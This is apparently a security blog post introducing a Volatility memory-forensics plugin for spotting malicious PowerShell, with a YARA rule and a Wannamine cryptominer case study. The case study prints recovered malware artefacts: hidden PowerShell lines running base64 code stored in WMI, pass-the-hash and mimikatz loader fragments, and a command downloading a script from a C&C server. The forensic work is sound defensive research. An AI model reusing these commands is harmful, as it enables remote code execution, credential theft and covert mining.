Cesare Pizzi (Sorint.lab)

Volatility Plugin: powersh

Summary

In the last months/years, the number of Malwares/Miners/Malicious software using Powershell as a First/Second stage or for the real payload is increased and it became quite common. In addition to this, we saw different "fileless" malwares in the wild, which make very interesting the usage of memory forensic for analysis:

https://www.theregister.co.uk/2019/02/26/malware_ibm_powershell/

https://thehackernews.com/2019/09/its-been-summer-of-ransomware-hold-ups.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Cyber+Security+Blog%29

Considering this, I thought that the time for a dedicated plugin for investigating Powershell based infections has come.

Basic Functionalities

The plugin is able to scan the image for processes by using both "psscan" or "pslist" classes and search for Powershell processes.

The search is not based on the process name, but by using a specific built-in YARA rule, inspecting the mapped memory for some specific artefacts. One of the issue was to find out something common for all the versions of Powerhell (across different executable versions and different OS architectures). The following rule looks to be able to do this for 32-64bit different Powershell versions looking in ".rdata" and ".rsrc" sections:

```
strings:
        $str_Pdb         = "powershell.pdb"

        $str_Int_Name    = { 00 49 00 6E 00 74 00 65
                            00 72 00 6E 00 61 00 6C
                            00 4E 00 61 00 6D 00 65
                            00 00 00 50 00 4F 00 57
                            00 45 00 52 00 53 00 48
                            00 45 00 4C 00 4C
                          }

        $str_Description = { 46 00 69 00 6C 00 65 00
                            44 00 65 00 73 00 63 00
                            72 00 69 00 70 00 74 00
                            69 00 6F 00 6E 00 00 00
                            00 00 57 00 69 00 6E 00
                            64 00 6F 00 77 00 73 00
                            20 00 50 00 6F 00 77 00
                            65 00 72 00 53 00 68 00
                            65 00 6C 00 6C
                           }

    condition:
        any of ($str*)
```

Once identified, the process is reported with the command line extracted as follow:

```
Powershell indicators found in the following processes

Pid        Process              Command Line
---------- -------------------- ------------
      1084 powershell.exe
      7088 powershell.exe       "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass]
                                'root\default:systemcore_Updater4').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater4').
                                 Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));
                                 Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"
      6984 powershell.exe       "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass]
                                'root\default:systemcore_Updater4').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater4').
                                Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));
                                Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"
```

The process of using this method for identifying the running processes allow to avoid some evasion technique (i.e. process or executable renaming) as done by some known malware:

https://isc.sans.edu/diary/Maldoc+Duplicating+PowerShell+Prior+to+Use/24254

https://myonlinesecurity.co.uk/fake-scanned-from-a-xerox-multifunction-printer-delivers-trickbot/

Optional/Advanced Functionalities

Malicious Powershell scripts are usually built with a lot of additional and may be heavily obfuscated content. This is usually the real “payload” of the script itself, and being able to quickly identify It can speed up the analysis activity.

In order to catch this specific content, an optional “Inspect” capability has been added to the plugin. When this option is enabled, the VAD pages associated with the process are checked for some specific criteria:

If the criteria is matched, the region is dumped to disk for further inspection. This check can reduce the number of dumped sections by half or more (tweaking the parameters through the command line), reducing both process and analysis time (in this example with char sequence > 30):

```
Process 1084:   300 files dumped    With string/entropy check:   152 files dumped
Process 7088:   236 files dumped    With string/entropy check:   121 files dumped
Process 6984:   240 files dumped    With string/entropy check:   122 files dumped
```

The entropy has been added to get rid of the sequence of chars where we have no variance (quite common in RAM), by keeping the ones with high indexes that could indicate obfuscated code.

Command Line options

Beside the options derived from the other volatility classes, we have the following command line options implemented in the plugin:

```
-S, --scan                         Use PSScan instead of PSList
-I, --inspect-vad                  Inspect VAD for interesting powershell data
-E 3.0, --entropy=3.0              Min Shannon Entropy used to identify meaningful
                                   strings
-P 60, --printable=60              Min sequence of printable chars to consider it as
                                   meaningful strings
-D DUMP_DIR, --dump-dir=DUMP_DIR   Directory in which to dump interesting VAD files
-M 1073741824, --max-size=1073741824
                                   Set the maximum size (default is 1GB)
-p PID, --pid=PID                  Operate on these Process IDs (comma-separated)
-u, --unsafe                       Bypasses certain sanity checks when creating image
-m, --memory                       Carve as a memory sample rather than exe/disk
-x, --fix                          Modify the image base of the dump to the in-memory
                                   base address
```

The bolded ones are the options added for the specific plugin, where you can enable inspection, specify the entropy limit and a dump folder.

Real Case Scenario: Wannamine

This case is based on a real miner found in the wild, dubbed (in some of its variants) as Wannamine. This is a quite complex set of Powershell scripts leveraging WMI calls, to perform a completely fileless attack. The script has several built in capabilities that we will discover by using the “powersh” plugin.

After the memory acquisition, the first command run is:

```
./vol.py --plugins=/root/dumpbin/volatility/plugins/powershell -f
/media/sf_temp/win10_wannamine_analysis.dmp --profile=Win10x64_17763
powersh
```

```
Powershell indicators found in the following processes

Pid        Process              Command Line
---------- -------------------- ------------
      7124 powershell.exe       "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass]
      'root\default:systemcore_Updater4').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater4').Properties['funs'].Value ;iex
      ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList
      @($mon, $mon, 'Void', 0, '', '')"
```

The plugin identifies one running Powershell process, with its command lines. As we can verify from command line the script access WMI Classes. This specific infection is completely “fileless” and stores the needed code in RAM and WMI database. That is why it is especially suitable for the Volatilty live analysis.

“pstree” module show the following:

```
 0xffff88869854d580:jusched.exe          7776   7732      7      0 2019-09-04 10:42:18 UTC+0000
. 0xffff88869763c580:jucheck.exe         6036   7776      8      0 2019-09-04 10:47:19 UTC+0000
 0xffff8886987aa580:powershell.exe       7124   4444     18      0 2019-09-04 10:45:54 UTC+0000
. 0xffff888696af8080:conhost.exe         6904   7124      4      0 2019-09-04 10:45:54 UTC+0000
```

The process has a non-existing process (PID 4444) as parent. The persistence of this code is actually obtained through an entry in the WMI database.

Now that we realized that we have this suspicious process (running WMI content as per the extracted command line), we can try to inspect the mapped memory:

```
./vol.py --plugins=/root/dumpbin/volatility/plugins/powershell -f
/media/sf_temp/win10_wannamine_analysis.dmp --profile=Win10x64_17763
powersh -I -D /tmp
```

Result:

```

Inspecting VAD for 7124

Powershell indicators found in the following processes

Pid        Process             Command Line
---------- ------------------- ------------
      7124 powershell.exe       "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass]
      'root\default:systemcore_Updater4').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater4').Properties['funs'].Value ;iex
      ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList
      @($mon, $mon, 'Void', 0, '', '')"


The following VAD pages had interesting data:

Pid        Process             Start              End                Result
---------- ------------------- ------------------ ------------------ ------
      7124 powershell.exe      0x0000000780e70000 0x0000000780eeffff /tmp/powershell.exe.65baa580.0x0000000780e70000-0x0000000780eeffff.dmp
      7124 powershell.exe      0x000001fb0c050000 0x000001fb0c110fff /tmp/powershell.exe.65baa580.0x000001fb0c050000-0x000001fb0c110fff.dmp
      7124 powershell.exe      0x000001fb0bf40000 0x000001fb0c03ffff /tmp/powershell.exe.65baa580.0x000001fb0bf40000-0x000001fb0c03ffff.dmp
      7124 powershell.exe      0x000001fb0be60000 0x000001fb0bf24fff /tmp/powershell.exe.65baa580.0x000001fb0be60000-0x000001fb0bf24fff.dmp
      7124 powershell.exe      0x000001fb0c040000 0x000001fb0c047fff /tmp/powershell.exe.65baa580.0x000001fb0c040000-0x000001fb0c047fff.dmp
      7124 powershell.exe      0x000001fb0c130000 0x000001fb0c13ffff /tmp/powershell.exe.65baa580.0x000001fb0c130000-0x000001fb0c13ffff.dmp
      7124 powershell.exe      0x000001fb0c120000 0x000001fb0c122fff /tmp/powershell.exe.65baa580.0x000001fb0c120000-0x000001fb0c122fff.dmp
      7124 powershell.exe      0x000001fb0c610000 0x000001fb0c61ffff /tmp/powershell.exe.65baa580.0x000001fb0c610000-0x000001fb0c61ffff.dmp
      [snip]
```

We can now start to browse the dumped pages (82 files, a lot less than the standard dump), looking for interesting artefacts.

File “**powershell.exe.65baa580.0x000001fb0cab0000-0x000001fb24aaffff.dmp**”

```
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
```

After a quick search on Internet with some of these strings, we found that this is a known package named “**Invoke-NinjaCopy**” (https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy) which is part of “**PowerSploit**” package. This script in particular allow to access a filesystem bypassing some known protections, like

- Files which are opened by another process
- SACL flag set on a file to alert when the file is opened
- Bypass DACL's, such as a DACL which only allows SYSTEM to open a file

File “**powershell.exe.65baa580.0x000001fb0cab0000-0x000001fb24aaffff.dmp**”

```
param
(
    [parameter(Mandatory=$true)][String]$Target,
    [parameter(Mandatory=$true)][String]$Username,
    [parameter(Mandatory=$false)][String]$Domain,
    [parameter(Mandatory=$false)][String]$Command,
    [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
    [parameter(Mandatory=$false)][Int]$Sleep=10
)

if($Command)
{
    $WMI_execute = $true
}

function ConvertFrom-PacketOrderedDictionary
{
    param($packet_ordered_dictionary)

    ForEach($field in $packet_ordered_dictionary.Values)
    {
        $byte_array += $field
    }

    return $byte_array
}
```

In the same file, we found also part of another script: “**Invoke-WMIExec**” (https://github.com/Kevin-Robertson/Invoke-TheHash/): this script is part of a suite that allows to use the “pass-the-hash” method to access resources. This tell us a lot about how the script is performing lateral movement.

Another interesting part is the following:

```
$PEHandle = $PELoadedInfo[0]
                $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process


                $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
                if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
                {

                                        [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz"
                                        if ($WStringFuncAddr -eq [IntPtr]::Zero)
                                        {
                                                Throw "C"
                                        }
```

where we can see that “**mimikatz**” is used to steal/dump passwords from memory.

File “**powershell.exe.65baa580.0x000001fb25100000-0x000001fb25239fff**”

```
XMRig 2.14.1
 built on Mar 11 2019 with MSVC
 features: 64-bit AES
libuv/%s
--help
--version
pass
Usage: xmrig [OPTIONS]
Options:
  -a, --algo=ALGO           specify the algorithm to use
                              cryptonight
                              cryptonight-lite
                              cryptonight-heavy
  -o, --url=URL             URL of mining server
  -O, --userpass=U:P        username:password pair for mining server
  -u, --user=USERNAME       username for mining server
  -p, --pass=PASSWORD       password for mining server
      --rig-id=ID           rig identifier for pool-side statistics (needs pool support)
  -t, --threads=N           number of miner threads
  -v, --av=N                algorithm variation, 0 auto select
  -k, --keepalive           send keepalived packet for prevent timeout (needs pool support)
```

Another indicator of the functionalities of the software: XMRig (https://github.com/xmrig/xmrig) is a well-known mining software.

Additional investigations

Knowing that a malicious powershell script is running on the system, other investigations can be carried out by using the well-known Volatility plugins.

Looking for suspicious connections:

```
./vol.py --plugins=/root/dumpbin/volatility/plugins/powershell -f
/media/sf_temp/win10_wannamine_analysis.dmp --profile=Win10x64_17763
netscan
```

```
[...]
0x888698b066b0    TCPv6    :::49670                          :::0                LISTENING      612     lsass.exe      2019-09-04 10:42:08 UTC+0000
0x888698b28b80    UDPv6    fe80::9cd0:e472:940a:544b:57541 *:*                                   572     svchost.exe    2019-09-04 10:43:49 UTC+0000
0x888698bdcbe0    TCPv4    10.0.2.15:50075                   40.67.254.36:443    ESTABLISHED    -1
0x888698c13220    UDPv6    ::1:57542                         *:*                                572     svchost.exe    2019-09-04 10:43:49 UTC+0000
0x888698c1a2d0    TCPv4    10.0.2.15:49727                   51.15.78.68:14444   ESTABLISHED    -1
0x888698cae2d0    UDPv6    fe80::9cd0:e472:940a:544b:1900  *:*                                   572     svchost.exe    2019-09-04 10:43:49 UTC+0000
0x8886993f3260    UDPv4    10.0.2.15:57543                   *:*                                572     svchost.exe    2019-09-04 10:43:49 UTC+0000
```

The highlighted line shows a unusual connection port. After a quick search on Virustotal, the IP seems to belong to “nanopool.org” domain, which is linked to Monero mining. This confirm our checks.

Doing some search with Powershell strings, we can identify some additional entries in free and allocated memory; even in this case we can use this information to going deeper into investigation

```
./vol.py --plugins=/root/dumpbin/volatility/plugins/powershell -f
/media/sf_temp/win10_wannamine_analysis.dmp --profile=Win10x64_17763
strings -s /tmp/wanna_strings.txt
```

```
Volatility Foundation Volatility Framework 2.6.1
1260395804 [FREE MEMORY:-1] cmd /c powershell.exe -NoP -NonI -W Hidden "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};if(
1260400924 [FREE MEMORY:-1] cmd /v:on /c for /f "tokens=2 delims=.[" %i in ('ver') do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&
>>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile "%windir%\info.vbs",2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\1
root\Subscription -Class __FilterToConsumerBinding ));if(($aa -eq $null) -or !$aa.contains('SCM Event4 Log')) {if((Get-WmiObject Win32_OperatingSystem).osa
1311013324 [FREE MEMORY:-1] cmd /v:on /c for /f "tokens=2 delims=.[" %i in ('ver') do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&
>>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile "%windir%\info.vbs",2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\1
1312063488 [FREE MEMORY:-1] e %windir%\11.vbs) else (powershell "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$aa=([stri
Net.WebClient).DownloadString('http://profetestruec.net:8000/in3.ps1')}}")
[...]
```

In this case, we can identify what we can consider to be a C&C controlling the script and giving instructions (here it's trying to download additional code to be executed).

Conclusion

The "powersh" plugin, offers help to speed up the Powershell based infections: the detection capabilities together with the possibility to focus the analysis on the relevant dumped content can help in save times on that. The possibility to run different levels of "inspections", starting from the simple "process" identification to the dump of memory, allows to proceed in layered analysis and also to use it as a simple "check" to see if hidden Powershell scripts are running on the system.